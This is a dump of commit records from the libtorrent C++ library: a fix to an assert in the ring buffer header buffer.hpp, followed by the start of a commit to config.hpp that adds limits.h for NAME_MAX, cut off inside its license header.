Wallin\nAll rights reserved.\n\nRedistribution and use in source and binary forms, with or without\nmodification, are permitted provided that the following conditions\nare met:\n\n * Redistributions of source code must retain the above copyright\n notice, this list of conditions and the following disclaimer.\n * Redistributions in binary form must reproduce the above copyright\n notice, this list of conditions and the following disclaimer in\n the documentation and\/or other materials provided with the distribution.\n * Neither the name of Rasterbar Software nor the names of its\n contributors may be used to endorse or promote products derived\n from this software without specific prior written permission.\n\nTHIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\nAND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\nIMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\nARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE\nLIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\nCONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\nSUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\nINTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\nCONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\nARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\nPOSSIBILITY OF SUCH DAMAGE.\n\n*\/\n\n#ifndef LIBTORRENT_BUFFER_HPP\n#define LIBTORRENT_BUFFER_HPP\n\n\/\/#define TORRENT_BUFFER_DEBUG\n\n#include \"libtorrent\/invariant_check.hpp\"\n#include <memory>\n\nnamespace libtorrent {\n\nclass buffer\n{\npublic:\n struct interval\n {\n interval(char* begin, char* end)\n : begin(begin)\n , end(end)\n {}\n\n char operator[](int index) const\n {\n assert(begin + index < end);\n return begin[index];\n }\n\t\t \n int left() const { assert(end > begin); return end - begin; }\n\n char* begin;\n char* end;\n };\n\n struct const_interval\n {\n const_interval(char const* begin, char const* end)\n : begin(begin)\n , end(end)\n {}\n\n char operator[](int index) const\n {\n assert(begin + index < end);\n return begin[index];\n }\n\n int left() const { assert(end > begin); return end - begin; }\n\n char const* begin;\n char const* end;\n };\n\n typedef std::pair<const_interval, const_interval> interval_type;\n\n buffer(std::size_t n = 0);\n ~buffer();\n\n interval allocate(std::size_t n);\n void insert(char const* first, char const* last);\n void erase(std::size_t n);\n std::size_t size() const;\n std::size_t capacity() const;\n void reserve(std::size_t n);\n interval_type data() const;\n bool empty() const;\n\n std::size_t space_left() const;\n\n char const* raw_data() const\n {\n return m_first;\n }\n\n#ifndef NDEBUG\n void check_invariant() const;\n#endif\n\t \nprivate:\n char* m_first;\n char* m_last;\n char* m_write_cursor;\n char* m_read_cursor;\n char* m_read_end;\n bool m_empty;\n#ifdef TORRENT_BUFFER_DEBUG\n mutable std::vector<char> m_debug;\n mutable int m_pending_copy;\n#endif\n};\n\ninline buffer::buffer(std::size_t n)\n\t: m_first((char*)::operator new(n))\n\t, m_last(m_first + n)\n\t, m_write_cursor(m_first)\n\t, m_read_cursor(m_first)\n\t, m_read_end(m_last)\n\t, m_empty(true)\n{\n#ifdef TORRENT_BUFFER_DEBUG\n\tm_pending_copy = 0;\n#endif\n}\n\ninline buffer::~buffer()\n{\n ::operator delete (m_first);\n}\n\ninline buffer::interval buffer::allocate(std::size_t n)\n{\n\tassert(m_read_cursor <= m_read_end || m_empty);\n\n\tINVARIANT_CHECK;\n\t\n#ifdef TORRENT_BUFFER_DEBUG\n\tif (m_pending_copy)\n\t{\n\t\tstd::copy(m_write_cursor - m_pending_copy, m_write_cursor\n\t\t\t, m_debug.end() - m_pending_copy);\n\t\tm_pending_copy = 0;\n\t}\n\tm_debug.resize(m_debug.size() + n);\n\tm_pending_copy = n;\n#endif\n\tif (m_read_cursor < m_write_cursor || m_empty)\n\t{\n\t\/\/ ..R***W..\n\t\tif (m_last - m_write_cursor >= (std::ptrdiff_t)n)\n\t\t{\n\t\t\tinterval ret(m_write_cursor, m_write_cursor + n);\n\t\t\tm_write_cursor += n;\n\t\t\tm_read_end = m_write_cursor;\n\t\t\tassert(m_read_cursor <= m_read_end);\n\t\t\tif (n) m_empty = false;\n\t\t\treturn ret;\n\t\t}\n\n\t\tif (m_read_cursor - m_first >= (std::ptrdiff_t)n)\n\t\t{\n\t\t\tm_read_end = m_write_cursor;\n\t\t\tinterval ret(m_first, m_first + n);\n\t\t\tm_write_cursor = m_first + n;\n\t\t\tassert(m_read_cursor <= m_read_end);\n\t\t\tif (n) m_empty = false;\n\t\t\treturn ret;\n\t\t}\n\n\t\treserve(capacity() + n - (m_last - m_write_cursor));\n\t\tassert(m_last - m_write_cursor >= (std::ptrdiff_t)n);\n\t\tinterval ret(m_write_cursor, m_write_cursor + n);\n\t\tm_write_cursor += n;\n\t\tm_read_end = m_write_cursor;\n\t\tif (n) m_empty = false;\n\t\tassert(m_read_cursor <= m_read_end);\n\t\treturn ret;\n\n\t}\n\t\/\/**W...R**\n\tif (m_read_cursor - m_write_cursor >= (std::ptrdiff_t)n)\n\t{\n\t\tinterval ret(m_write_cursor, m_write_cursor + n);\n\t\tm_write_cursor += n;\n\t\tif (n) m_empty = false;\n\t\treturn ret;\n\t}\n\treserve(capacity() + n - (m_read_cursor - m_write_cursor));\n\tassert(m_read_cursor - m_write_cursor >= (std::ptrdiff_t)n);\n\tinterval ret(m_write_cursor, m_write_cursor + n);\n\tm_write_cursor += n;\n\tif (n) m_empty = false;\n\treturn ret;\n}\n\ninline void buffer::insert(char const* first, char const* last)\n{\n INVARIANT_CHECK;\n\n std::size_t n = last - first;\n\n#ifdef TORRENT_BUFFER_DEBUG\n\tif (m_pending_copy)\n\t{\n\t\tstd::copy(m_write_cursor - m_pending_copy, m_write_cursor\n\t\t\t, m_debug.end() - m_pending_copy);\n\t\tm_pending_copy = 0;\n\t}\n\tm_debug.insert(m_debug.end(), first, last);\n#endif\n\n if (space_left() < n)\n {\n reserve(capacity() + n);\n }\n\n m_empty = false;\n\n char const* end = (m_last - m_write_cursor) < (std::ptrdiff_t)n ? \n m_last : m_write_cursor + n;\n\n std::size_t copied = end - m_write_cursor;\n std::memcpy(m_write_cursor, first, copied);\n\n m_write_cursor += copied;\n\t if (m_write_cursor > m_read_end) m_read_end = m_write_cursor;\n first += copied;\n n -= copied;\n\n if (n == 0) return;\n\n\t assert(m_write_cursor == m_last);\n m_write_cursor = m_first;\n\n memcpy(m_write_cursor, first, n);\n m_write_cursor += n;\n}\n\ninline void buffer::erase(std::size_t n)\n{\n\tINVARIANT_CHECK;\n\n\tif (n == 0) return;\n\tassert(!m_empty);\n\t \n#ifndef NDEBUG\n\tint prev_size = size();\n#endif\n\tassert(m_read_cursor <= m_read_end);\n\tm_read_cursor += n;\n\tif (m_read_cursor > m_read_end)\n\t{\n\t\tm_read_cursor = m_first + (m_read_cursor - m_read_end);\n\t\tassert(m_read_cursor <= m_write_cursor);\n\t}\n\n\tm_empty = m_read_cursor == m_write_cursor;\n\n\tassert(prev_size - n == size());\n\n#ifdef TORRENT_BUFFER_DEBUG\n\tm_debug.erase(m_debug.begin(), m_debug.begin() + n);\n#endif\n}\n\ninline std::size_t buffer::size() const\n{\n \/\/ ...R***W.\n if (m_read_cursor < m_write_cursor)\n {\n return m_write_cursor - m_read_cursor;\n }\n \/\/ ***W..R*\n else\n {\n if (m_empty) return 0;\n return (m_write_cursor - m_first) + (m_read_end - m_read_cursor);\n }\n}\n\ninline std::size_t buffer::capacity() const\n{\n return m_last - m_first;\n}\n\ninline void buffer::reserve(std::size_t size)\n{\n std::size_t n = (std::size_t)(capacity() * 1.f);\n if (n < size) n = size;\n\n char* buf = (char*)::operator new(n);\n char* old = m_first;\n\n if (m_read_cursor < m_write_cursor)\n {\n \/\/ ...R***W.<>.\n std::memcpy(\n buf + (m_read_cursor - m_first)\n , m_read_cursor\n , m_write_cursor - m_read_cursor\n );\n\n m_write_cursor = buf + (m_write_cursor - m_first);\n m_read_cursor = buf + (m_read_cursor - m_first);\n\t\t m_read_end = m_write_cursor;\n m_first = buf;\n m_last = buf + n;\n }\n else\n {\n \/\/ **W..<>.R**\n std::size_t skip = n - (m_last - m_first);\n\n std::memcpy(buf, m_first, m_write_cursor - m_first);\n std::memcpy(\n buf + (m_read_cursor - m_first) + skip\n , m_read_cursor\n , m_last - m_read_cursor\n );\n\n m_write_cursor = buf + (m_write_cursor - m_first);\n\n if (!m_empty)\n\t\t {\n m_read_cursor = buf + (m_read_cursor - m_first) + skip;\n m_read_end = buf + (m_read_end - m_first) + skip;\n\t\t }\n else\n\t\t {\n m_read_cursor = m_write_cursor;\n\t\t\t\tm_read_end = m_write_cursor;\n\t\t }\n\n m_first = buf;\n m_last = buf + n;\n }\n\n ::operator delete (old);\n}\n\n#ifndef NDEBUG\ninline void buffer::check_invariant() const\n{\n\tassert(m_read_end >= m_read_cursor);\n\tassert(m_last >= m_read_cursor);\n\tassert(m_last >= m_write_cursor);\n\tassert(m_last >= m_first);\n\tassert(m_first <= m_read_cursor);\n\tassert(m_first <= m_write_cursor);\n#ifdef TORRENT_BUFFER_DEBUG\n\tint a = m_debug.size();\n\tint b = size();\n\t(void)a;\n\t(void)b;\n\tassert(m_debug.size() == size());\n#endif\n}\n#endif\n\ninline buffer::interval_type buffer::data() const\n{\n\tINVARIANT_CHECK;\n\n#ifdef TORRENT_BUFFER_DEBUG\n\tif (m_pending_copy)\n\t{\n\t\tstd::copy(m_write_cursor - m_pending_copy, m_write_cursor\n\t\t\t, m_debug.end() - m_pending_copy);\n\t\tm_pending_copy = 0;\n\t}\n#endif\n\n \/\/ ...R***W.\n if (m_read_cursor < m_write_cursor)\n {\n#ifdef TORRENT_BUFFER_DEBUG\n assert(m_debug.size() == size());\n assert(std::equal(m_debug.begin(), m_debug.end(), m_read_cursor));\n#endif\n return interval_type(\n const_interval(m_read_cursor, m_write_cursor)\n , const_interval(m_last, m_last)\n );\n }\n \/\/ **W...R**\n else\n {\n if (m_read_cursor == m_read_end)\n\t\t {\n#ifdef TORRENT_BUFFER_DEBUG\n\t assert(m_debug.size() == size());\n\t assert(std::equal(m_debug.begin(), m_debug.end(), m_first));\n#endif\n\n return interval_type(\n const_interval(m_first, m_write_cursor)\n , const_interval(m_last, m_last));\n\t\t }\n#ifdef TORRENT_BUFFER_DEBUG\n assert(m_debug.size() == size());\n assert(std::equal(m_debug.begin(), m_debug.begin() + (m_read_end\n - m_read_cursor), m_read_cursor));\n assert(std::equal(m_debug.begin() + (m_read_end - m_read_cursor), m_debug.end()\n , m_first));\n#endif\n\n assert(m_read_cursor <= m_read_end || m_empty);\n return interval_type(\n const_interval(m_read_cursor, m_read_end)\n , const_interval(m_first, m_write_cursor)\n );\n }\n}\n\ninline bool buffer::empty() const\n{\n return m_empty;\n}\n\ninline std::size_t buffer::space_left() const\n{\n if (m_empty) return m_last - m_first;\n\n \/\/ ...R***W.\n if (m_read_cursor < m_write_cursor)\n {\n return (m_last - m_write_cursor) + (m_read_cursor - m_first);\n }\n \/\/ ***W..R*\n else\n {\n return m_read_cursor - m_write_cursor;\n }\n}\n\n}\n\n#endif \/\/ LIBTORRENT_BUFFER_HPP\n\n<commit_msg>fixed incorrect assert<commit_after>\/*\nCopyright (c) 2003 - 2005, Arvid Norberg, Daniel Wallin\nAll rights reserved.\n\nRedistribution and use in source and binary forms, with or without\nmodification, are permitted provided that the following conditions\nare met:\n\n * Redistributions of source code must retain the above copyright\n notice, this list of conditions and the following disclaimer.\n * Redistributions in binary form must reproduce the above copyright\n notice, this list of conditions and the following disclaimer in\n the documentation and\/or other materials provided with the distribution.\n * Neither the name of Rasterbar Software nor the names of its\n contributors may be used to endorse or promote products derived\n from this software without specific prior written permission.\n\nTHIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\nAND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\nIMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\nARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE\nLIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\nCONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\nSUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\nINTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\nCONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\nARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\nPOSSIBILITY OF SUCH DAMAGE.\n\n*\/\n\n#ifndef LIBTORRENT_BUFFER_HPP\n#define LIBTORRENT_BUFFER_HPP\n\n\/\/#define TORRENT_BUFFER_DEBUG\n\n#include \"libtorrent\/invariant_check.hpp\"\n#include <memory>\n\nnamespace libtorrent {\n\nclass buffer\n{\npublic:\n struct interval\n {\n interval(char* begin, char* end)\n : begin(begin)\n , end(end)\n {}\n\n char operator[](int index) const\n {\n assert(begin + index < end);\n return begin[index];\n }\n\t\t \n int left() const { assert(end >= begin); return end - begin; }\n\n char* begin;\n char* end;\n };\n\n struct const_interval\n {\n const_interval(char const* begin, char const* end)\n : begin(begin)\n , end(end)\n {}\n\n char operator[](int index) const\n {\n assert(begin + index < end);\n return begin[index];\n }\n\n int left() const { assert(end >= begin); return end - begin; }\n\n char const* begin;\n char const* end;\n };\n\n typedef std::pair<const_interval, const_interval> interval_type;\n\n buffer(std::size_t n = 0);\n ~buffer();\n\n interval allocate(std::size_t n);\n void insert(char const* first, char const* last);\n void erase(std::size_t n);\n std::size_t size() const;\n std::size_t capacity() const;\n void reserve(std::size_t n);\n interval_type data() const;\n bool empty() const;\n\n std::size_t space_left() const;\n\n char const* raw_data() const\n {\n return m_first;\n }\n\n#ifndef NDEBUG\n void check_invariant() const;\n#endif\n\t \nprivate:\n char* m_first;\n char* m_last;\n char* m_write_cursor;\n char* m_read_cursor;\n char* m_read_end;\n bool m_empty;\n#ifdef TORRENT_BUFFER_DEBUG\n mutable std::vector<char> m_debug;\n mutable int m_pending_copy;\n#endif\n};\n\ninline buffer::buffer(std::size_t n)\n\t: m_first((char*)::operator new(n))\n\t, m_last(m_first + n)\n\t, m_write_cursor(m_first)\n\t, m_read_cursor(m_first)\n\t, m_read_end(m_last)\n\t, m_empty(true)\n{\n#ifdef TORRENT_BUFFER_DEBUG\n\tm_pending_copy = 0;\n#endif\n}\n\ninline buffer::~buffer()\n{\n ::operator delete (m_first);\n}\n\ninline buffer::interval buffer::allocate(std::size_t n)\n{\n\tassert(m_read_cursor <= m_read_end || m_empty);\n\n\tINVARIANT_CHECK;\n\t\n#ifdef TORRENT_BUFFER_DEBUG\n\tif (m_pending_copy)\n\t{\n\t\tstd::copy(m_write_cursor - m_pending_copy, m_write_cursor\n\t\t\t, m_debug.end() - m_pending_copy);\n\t\tm_pending_copy = 0;\n\t}\n\tm_debug.resize(m_debug.size() + n);\n\tm_pending_copy = n;\n#endif\n\tif (m_read_cursor < m_write_cursor || m_empty)\n\t{\n\t\/\/ ..R***W..\n\t\tif (m_last - m_write_cursor >= (std::ptrdiff_t)n)\n\t\t{\n\t\t\tinterval ret(m_write_cursor, m_write_cursor + n);\n\t\t\tm_write_cursor += n;\n\t\t\tm_read_end = m_write_cursor;\n\t\t\tassert(m_read_cursor <= m_read_end);\n\t\t\tif (n) m_empty = false;\n\t\t\treturn ret;\n\t\t}\n\n\t\tif (m_read_cursor - m_first >= (std::ptrdiff_t)n)\n\t\t{\n\t\t\tm_read_end = m_write_cursor;\n\t\t\tinterval ret(m_first, m_first + n);\n\t\t\tm_write_cursor = m_first + n;\n\t\t\tassert(m_read_cursor <= m_read_end);\n\t\t\tif (n) m_empty = false;\n\t\t\treturn ret;\n\t\t}\n\n\t\treserve(capacity() + n - (m_last - m_write_cursor));\n\t\tassert(m_last - m_write_cursor >= (std::ptrdiff_t)n);\n\t\tinterval ret(m_write_cursor, m_write_cursor + n);\n\t\tm_write_cursor += n;\n\t\tm_read_end = m_write_cursor;\n\t\tif (n) m_empty = false;\n\t\tassert(m_read_cursor <= m_read_end);\n\t\treturn ret;\n\n\t}\n\t\/\/**W...R**\n\tif (m_read_cursor - m_write_cursor >= (std::ptrdiff_t)n)\n\t{\n\t\tinterval ret(m_write_cursor, m_write_cursor + n);\n\t\tm_write_cursor += n;\n\t\tif (n) m_empty = false;\n\t\treturn ret;\n\t}\n\treserve(capacity() + n - (m_read_cursor - m_write_cursor));\n\tassert(m_read_cursor - m_write_cursor >= (std::ptrdiff_t)n);\n\tinterval ret(m_write_cursor, m_write_cursor + n);\n\tm_write_cursor += n;\n\tif (n) m_empty = false;\n\treturn ret;\n}\n\ninline void buffer::insert(char const* first, char const* last)\n{\n INVARIANT_CHECK;\n\n std::size_t n = last - first;\n\n#ifdef TORRENT_BUFFER_DEBUG\n\tif (m_pending_copy)\n\t{\n\t\tstd::copy(m_write_cursor - m_pending_copy, m_write_cursor\n\t\t\t, m_debug.end() - m_pending_copy);\n\t\tm_pending_copy = 0;\n\t}\n\tm_debug.insert(m_debug.end(), first, last);\n#endif\n\n if (space_left() < n)\n {\n reserve(capacity() + n);\n }\n\n m_empty = false;\n\n char const* end = (m_last - m_write_cursor) < (std::ptrdiff_t)n ? \n m_last : m_write_cursor + n;\n\n std::size_t copied = end - m_write_cursor;\n std::memcpy(m_write_cursor, first, copied);\n\n m_write_cursor += copied;\n\t if (m_write_cursor > m_read_end) m_read_end = m_write_cursor;\n first += copied;\n n -= copied;\n\n if (n == 0) return;\n\n\t assert(m_write_cursor == m_last);\n m_write_cursor = m_first;\n\n memcpy(m_write_cursor, first, n);\n m_write_cursor += n;\n}\n\ninline void buffer::erase(std::size_t n)\n{\n\tINVARIANT_CHECK;\n\n\tif (n == 0) return;\n\tassert(!m_empty);\n\t \n#ifndef NDEBUG\n\tint prev_size = size();\n#endif\n\tassert(m_read_cursor <= m_read_end);\n\tm_read_cursor += n;\n\tif (m_read_cursor > m_read_end)\n\t{\n\t\tm_read_cursor = m_first + (m_read_cursor - m_read_end);\n\t\tassert(m_read_cursor <= m_write_cursor);\n\t}\n\n\tm_empty = m_read_cursor == m_write_cursor;\n\n\tassert(prev_size - n == size());\n\n#ifdef TORRENT_BUFFER_DEBUG\n\tm_debug.erase(m_debug.begin(), m_debug.begin() + n);\n#endif\n}\n\ninline std::size_t buffer::size() const\n{\n \/\/ ...R***W.\n if (m_read_cursor < m_write_cursor)\n {\n return m_write_cursor - m_read_cursor;\n }\n \/\/ ***W..R*\n else\n {\n if (m_empty) return 0;\n return (m_write_cursor - m_first) + (m_read_end - m_read_cursor);\n }\n}\n\ninline std::size_t buffer::capacity() const\n{\n return m_last - m_first;\n}\n\ninline void buffer::reserve(std::size_t size)\n{\n std::size_t n = (std::size_t)(capacity() * 1.f);\n if (n < size) n = size;\n\n char* buf = (char*)::operator new(n);\n char* old = m_first;\n\n if (m_read_cursor < m_write_cursor)\n {\n \/\/ ...R***W.<>.\n std::memcpy(\n buf + (m_read_cursor - m_first)\n , m_read_cursor\n , m_write_cursor - m_read_cursor\n );\n\n m_write_cursor = buf + (m_write_cursor - m_first);\n m_read_cursor = buf + (m_read_cursor - m_first);\n\t\t m_read_end = m_write_cursor;\n m_first = buf;\n m_last = buf + n;\n }\n else\n {\n \/\/ **W..<>.R**\n std::size_t skip = n - (m_last - m_first);\n\n std::memcpy(buf, m_first, m_write_cursor - m_first);\n std::memcpy(\n buf + (m_read_cursor - m_first) + skip\n , m_read_cursor\n , m_last - m_read_cursor\n );\n\n m_write_cursor = buf + (m_write_cursor - m_first);\n\n if (!m_empty)\n\t\t {\n m_read_cursor = buf + (m_read_cursor - m_first) + skip;\n m_read_end = buf + (m_read_end - m_first) + skip;\n\t\t }\n else\n\t\t {\n m_read_cursor = m_write_cursor;\n\t\t\t\tm_read_end = m_write_cursor;\n\t\t }\n\n m_first = buf;\n m_last = buf + n;\n }\n\n ::operator delete (old);\n}\n\n#ifndef NDEBUG\ninline void buffer::check_invariant() const\n{\n\tassert(m_read_end >= m_read_cursor);\n\tassert(m_last >= m_read_cursor);\n\tassert(m_last >= m_write_cursor);\n\tassert(m_last >= m_first);\n\tassert(m_first <= m_read_cursor);\n\tassert(m_first <= m_write_cursor);\n#ifdef TORRENT_BUFFER_DEBUG\n\tint a = m_debug.size();\n\tint b = size();\n\t(void)a;\n\t(void)b;\n\tassert(m_debug.size() == size());\n#endif\n}\n#endif\n\ninline buffer::interval_type buffer::data() const\n{\n\tINVARIANT_CHECK;\n\n#ifdef TORRENT_BUFFER_DEBUG\n\tif (m_pending_copy)\n\t{\n\t\tstd::copy(m_write_cursor - m_pending_copy, m_write_cursor\n\t\t\t, m_debug.end() - m_pending_copy);\n\t\tm_pending_copy = 0;\n\t}\n#endif\n\n \/\/ ...R***W.\n if (m_read_cursor < m_write_cursor)\n {\n#ifdef TORRENT_BUFFER_DEBUG\n assert(m_debug.size() == size());\n assert(std::equal(m_debug.begin(), m_debug.end(), m_read_cursor));\n#endif\n return interval_type(\n const_interval(m_read_cursor, m_write_cursor)\n , const_interval(m_last, m_last)\n );\n }\n \/\/ **W...R**\n else\n {\n if (m_read_cursor == m_read_end)\n\t\t {\n#ifdef TORRENT_BUFFER_DEBUG\n\t assert(m_debug.size() == size());\n\t assert(std::equal(m_debug.begin(), m_debug.end(), m_first));\n#endif\n\n return interval_type(\n const_interval(m_first, m_write_cursor)\n , const_interval(m_last, m_last));\n\t\t }\n#ifdef TORRENT_BUFFER_DEBUG\n assert(m_debug.size() == size());\n assert(std::equal(m_debug.begin(), m_debug.begin() + (m_read_end\n - m_read_cursor), m_read_cursor));\n assert(std::equal(m_debug.begin() + (m_read_end - m_read_cursor), m_debug.end()\n , m_first));\n#endif\n\n assert(m_read_cursor <= m_read_end || m_empty);\n return interval_type(\n const_interval(m_read_cursor, m_read_end)\n , const_interval(m_first, m_write_cursor)\n );\n }\n}\n\ninline bool buffer::empty() const\n{\n return m_empty;\n}\n\ninline std::size_t buffer::space_left() const\n{\n if (m_empty) return m_last - m_first;\n\n \/\/ ...R***W.\n if (m_read_cursor < m_write_cursor)\n {\n return (m_last - m_write_cursor) + (m_read_cursor - m_first);\n }\n \/\/ ***W..R*\n else\n {\n return m_read_cursor - m_write_cursor;\n }\n}\n\n}\n\n#endif \/\/ LIBTORRENT_BUFFER_HPP\n\n<|endoftext|>"} {"text":"<commit_before>\/*\n\nCopyright (c) 2005, Arvid Norberg\nAll rights reserved.\n\nRedistribution and use in source and binary forms, with or without\nmodification, are permitted provided that the following conditions\nare met:\n\n * Redistributions of source code must retain the above copyright\n notice, this list of conditions and the following disclaimer.\n * Redistributions in binary form must reproduce the above copyright\n notice, this list of conditions and the following disclaimer in\n the documentation and\/or other materials provided with the distribution.\n * Neither the name of the author nor the names of its\n contributors may be used to endorse or promote products derived\n from this software without specific prior written permission.\n\nTHIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\nAND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\nIMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\nARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE\nLIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\nCONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\nSUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\nINTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\nCONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\nARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\nPOSSIBILITY OF SUCH DAMAGE.\n\n*\/\n\n#ifndef TORRENT_CONFIG_HPP_INCLUDED\n#define TORRENT_CONFIG_HPP_INCLUDED\n\n#include <boost\/config.hpp>\n#include <boost\/version.hpp>\n#include <stdio.h> \/\/ for snprintf\n\n#ifndef WIN32\n#define __STDC_FORMAT_MACROS\n#include <inttypes.h>\n#endif\n\n#ifndef PRId64\n#ifdef _WIN32\n#define PRId64 \"I64d\"\n#else\n#define PRId64 \"lld\"\n#endif\n#endif\n\n#if defined(__GNUC__) && __GNUC__ >= 4\n\n#define TORRENT_DEPRECATED __attribute__ ((deprecated))\n\n# if defined(TORRENT_BUILDING_SHARED) || defined(TORRENT_LINKING_SHARED)\n# define TORRENT_EXPORT __attribute__ ((visibility(\"default\")))\n# else\n# define TORRENT_EXPORT\n# endif\n\n#elif defined(__GNUC__)\n\n# define TORRENT_EXPORT\n\n#elif defined(BOOST_MSVC)\n\n#pragma warning(disable: 4258)\n#pragma warning(disable: 4251)\n\n# if defined(TORRENT_BUILDING_SHARED)\n# define TORRENT_EXPORT __declspec(dllexport)\n# elif defined(TORRENT_LINKING_SHARED)\n# define TORRENT_EXPORT __declspec(dllimport)\n# else\n# define TORRENT_EXPORT\n# endif\n\n#else\n# define TORRENT_EXPORT\n#endif\n\n#ifndef TORRENT_DEPRECATED\n#define TORRENT_DEPRECATED\n#endif\n\n\/\/ set up defines for target environments\n#if (defined __APPLE__ && __MACH__) || defined __FreeBSD__ || defined __NetBSD__ \\\n\t|| defined __OpenBSD__ || defined __bsdi__ || defined __DragonFly__ \\\n\t|| defined __FreeBSD_kernel__\n#define TORRENT_BSD\n#elif defined __linux__\n#define TORRENT_LINUX\n#elif defined WIN32\n#define TORRENT_WINDOWS\n#elif defined sun || defined __sun \n#define TORRENT_SOLARIS\n#else\n#warning unkown OS, assuming BSD\n#define TORRENT_BSD\n#endif\n\n#define TORRENT_USE_IPV6 1\n#define TORRENT_USE_MLOCK 1\n#define TORRENT_USE_READV 1\n#define TORRENT_USE_WRITEV 1\n#define TORRENT_USE_IOSTREAM 1\n\n\/\/ should wpath or path be used?\n#if defined UNICODE && !defined BOOST_FILESYSTEM_NARROW_ONLY \\\n\t&& BOOST_VERSION >= 103400 && !defined __APPLE__\n#define TORRENT_USE_WPATH 1\n#else\n#define TORRENT_USE_WPATH 0\n#endif\n\n#ifdef TORRENT_WINDOWS\n#include <stdarg.h>\n\/\/ this is the maximum number of characters in a\n\/\/ path element \/ filename on windows\n#define NAME_MAX 255\ninline int snprintf(char* buf, int len, char const* fmt, ...)\n{\n\tva_list lp;\n\tva_start(lp, fmt);\n\treturn vsnprintf_s(buf, len, _TRUNCATE, fmt, lp);\n}\n#define strtoll _strtoi64\n#endif\n\n#if (defined(TORRENT_LOGGING) || defined(TORRENT_VERBOSE_LOGGING)) && !defined (TORRENT_UPNP_LOGGING)\n#define TORRENT_UPNP_LOGGING\n#endif\n\n#if !TORRENT_USE_WPATH && defined TORRENT_LINUX\n\/\/ libiconv presnce, not implemented yet\n#define TORRENT_USE_LOCALE_FILENAMES 1\n#else\n#define TORRENT_USE_LOCALE_FILENAMES 0\n#endif\n\n#if !defined(TORRENT_READ_HANDLER_MAX_SIZE)\n# define TORRENT_READ_HANDLER_MAX_SIZE 256\n#endif\n\n#if !defined(TORRENT_WRITE_HANDLER_MAX_SIZE)\n# define TORRENT_WRITE_HANDLER_MAX_SIZE 256\n#endif\n\n\/\/ determine what timer implementation we can use\n\n#if defined(__MACH__)\n#define TORRENT_USE_ABSOLUTE_TIME 1\n#elif defined(_WIN32)\n#define TORRENT_USE_QUERY_PERFORMANCE_TIMER 1\n#elif defined(_POSIX_MONOTONIC_CLOCK) && _POSIX_MONOTONIC_CLOCK >= 0\n#define TORRENT_USE_CLOCK_GETTIME 1\n#else\n#define TORRENT_USE_BOOST_DATE_TIME 1\n#endif\n\n#endif \/\/ TORRENT_CONFIG_HPP_INCLUDED\n\n<commit_msg>Include limits.h to get NAME_MAX on Unix.<commit_after>\/*\n\nCopyright (c) 2005, Arvid Norberg\nAll rights reserved.\n\nRedistribution and use in source and binary forms, with or without\nmodification, are permitted provided that the following conditions\nare met:\n\n * Redistributions of source code must retain the above copyright\n notice, this list of conditions and the following disclaimer.\n * Redistributions in binary form must reproduce the above copyright\n notice, this list of conditions and the following disclaimer in\n the documentation and\/or other materials provided with the distribution.\n * Neither the name of the author nor the names of its\n contributors may be used to endorse or promote products derived\n from this software without specific prior written permission.\n\nTHIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\nAND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\nIMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\nARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE\nLIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\nCONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\nSUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\nINTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\nCONTRACT, STRICT LIABILITY, OR TORT 